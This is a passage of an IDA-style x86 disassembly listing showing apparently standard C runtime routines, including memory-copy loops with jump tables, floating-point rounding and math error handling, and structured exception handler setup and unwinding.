		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx

loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------

loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A290
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------

loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722

loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2CC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8A4, offset sub_421935
		mov	off_43C8A0, eax
		mov	off_43C8A8, offset sub_42199B
		mov	off_43C8AC, offset sub_4218DB
		mov	off_43C8B0, offset sub_421983
		mov	off_43C8B4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2A8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------

loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868

loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------

loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB324
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------

loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------

loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------

loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E

loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2

loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39

loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45

loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]

loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67

loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2

loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]

loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------

loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		mov	ecx, [ebp+8]

loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28

loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------

loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------

loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
